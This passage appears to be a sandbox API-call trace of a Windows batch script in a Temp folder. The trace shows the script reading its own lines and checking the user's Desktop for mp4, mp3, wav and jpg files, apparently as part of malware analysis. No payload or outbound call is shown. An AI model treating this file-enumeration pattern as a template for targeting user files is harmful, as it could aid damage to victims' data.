dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0040.189] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.189] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0040.190] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1735, lpOverlapped=0x0) returned 1 [0040.190] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0040.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n\r\n") returned 25 [0040.190] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.190] GetFileType (hFile=0x74) returned 0x1 [0040.190] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.190] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0040.190] GetProcessHeap () returned 0x4e0000 [0040.190] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.190] GetProcessHeap () returned 0x4e0000 [0040.190] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.191] _tell (_FileHandle=3) returned 3857 [0040.191] _close (_FileHandle=3) returned 0 [0040.191] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0040.191] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.191] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.221] GetLastError () returned 0x2 [0040.221] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.221] GetLastError () returned 0x6 [0040.221] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.221] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.221] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.221] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.222] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.222] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.222] SetConsoleInputExeNameW () returned 0x1 [0040.222] GetConsoleOutputCP () returned 0x1b5 [0040.222] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.222] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.222] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.223] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.223] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.223] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.223] GetProcessHeap () returned 0x4e0000 [0040.223] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.224] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.224] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0040.224] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171c, lpOverlapped=0x0) returned 1 [0040.224] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0040.224] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n\r\n") returned 2 [0040.224] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.224] GetFileType (hFile=0x74) returned 0x1 [0040.224] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.224] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0040.224] GetProcessHeap () returned 0x4e0000 [0040.224] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.224] GetProcessHeap () returned 0x4e0000 [0040.224] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.224] _tell (_FileHandle=3) returned 3859 [0040.224] _close (_FileHandle=3) returned 0 [0040.225] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.225] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.225] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.225] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0040.225] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.225] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0040.225] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171a, lpOverlapped=0x0) returned 1 [0040.225] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0040.225] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n\r\n") returned 25 [0040.225] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.225] GetFileType (hFile=0x74) returned 0x1 [0040.225] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.225] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0040.225] GetProcessHeap () returned 0x4e0000 [0040.225] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.225] GetProcessHeap () returned 0x4e0000 [0040.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.227] _tell (_FileHandle=3) returned 3884 [0040.227] _close (_FileHandle=3) returned 0 [0040.227] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0040.227] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.227] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.227] GetLastError () returned 0x2 [0040.227] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.227] GetLastError () returned 0x6 [0040.227] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.227] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.228] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.228] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.228] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.228] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.228] SetConsoleInputExeNameW () returned 0x1 [0040.228] GetConsoleOutputCP () returned 0x1b5 [0040.228] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.228] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.229] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.229] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.229] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.229] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.229] GetProcessHeap () returned 0x4e0000 [0040.229] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.230] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.230] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0040.230] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1701, lpOverlapped=0x0) returned 1 [0040.230] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0040.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n\r\n") returned 2 [0040.230] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.230] GetFileType (hFile=0x74) returned 0x1 [0040.230] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.230] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0040.230] GetProcessHeap () returned 0x4e0000 [0040.230] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.230] GetProcessHeap () returned 0x4e0000 [0040.230] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.230] _tell (_FileHandle=3) returned 3886 [0040.230] _close (_FileHandle=3) returned 0 [0040.230] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.231] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.231] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.231] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0040.231] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.231] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0040.231] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16ff, lpOverlapped=0x0) returned 1 [0040.231] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0040.231] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n\r\n") returned 25 [0040.231] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.231] GetFileType (hFile=0x74) returned 0x1 [0040.231] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.231] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0040.231] GetProcessHeap () returned 0x4e0000 [0040.231] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.231] GetProcessHeap () returned 0x4e0000 [0040.231] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.232] _tell (_FileHandle=3) returned 3911 [0040.232] _close (_FileHandle=3) returned 0 [0040.233] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0040.233] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.233] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.233] GetLastError () returned 0x2 [0040.233] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.233] GetLastError () returned 0x6 [0040.233] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.233] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.233] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.233] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.234] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.234] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.234] SetConsoleInputExeNameW () returned 0x1 [0040.234] GetConsoleOutputCP () returned 0x1b5 [0040.234] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.234] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.234] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.234] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.235] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.235] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.235] GetProcessHeap () returned 0x4e0000 [0040.235] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.235] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.235] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0040.235] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e6, lpOverlapped=0x0) returned 1 [0040.236] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0040.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n\r\n") returned 2 [0040.236] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.236] GetFileType (hFile=0x74) returned 0x1 [0040.236] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.236] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0040.236] GetProcessHeap () returned 0x4e0000 [0040.236] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.236] GetProcessHeap () returned 0x4e0000 [0040.236] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.236] _tell (_FileHandle=3) returned 3913 [0040.236] _close (_FileHandle=3) returned 0 [0040.236] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.236] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.236] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.236] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0040.237] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.237] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0040.237] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e4, lpOverlapped=0x0) returned 1 [0040.237] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0040.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n\r\n") returned 25 [0040.237] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.237] GetFileType (hFile=0x74) returned 0x1 [0040.237] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.237] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0040.237] GetProcessHeap () returned 0x4e0000 [0040.237] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.237] GetProcessHeap () returned 0x4e0000 [0040.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.238] _tell (_FileHandle=3) returned 3938 [0040.239] _close (_FileHandle=3) returned 0 [0040.239] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0040.239] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.239] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.239] GetLastError () returned 0x2 [0040.239] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.239] GetLastError () returned 0x6 [0040.239] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.239] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.239] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.239] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.240] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.240] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.240] SetConsoleInputExeNameW () returned 0x1 [0040.240] GetConsoleOutputCP () returned 0x1b5 [0040.240] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.240] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.240] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: 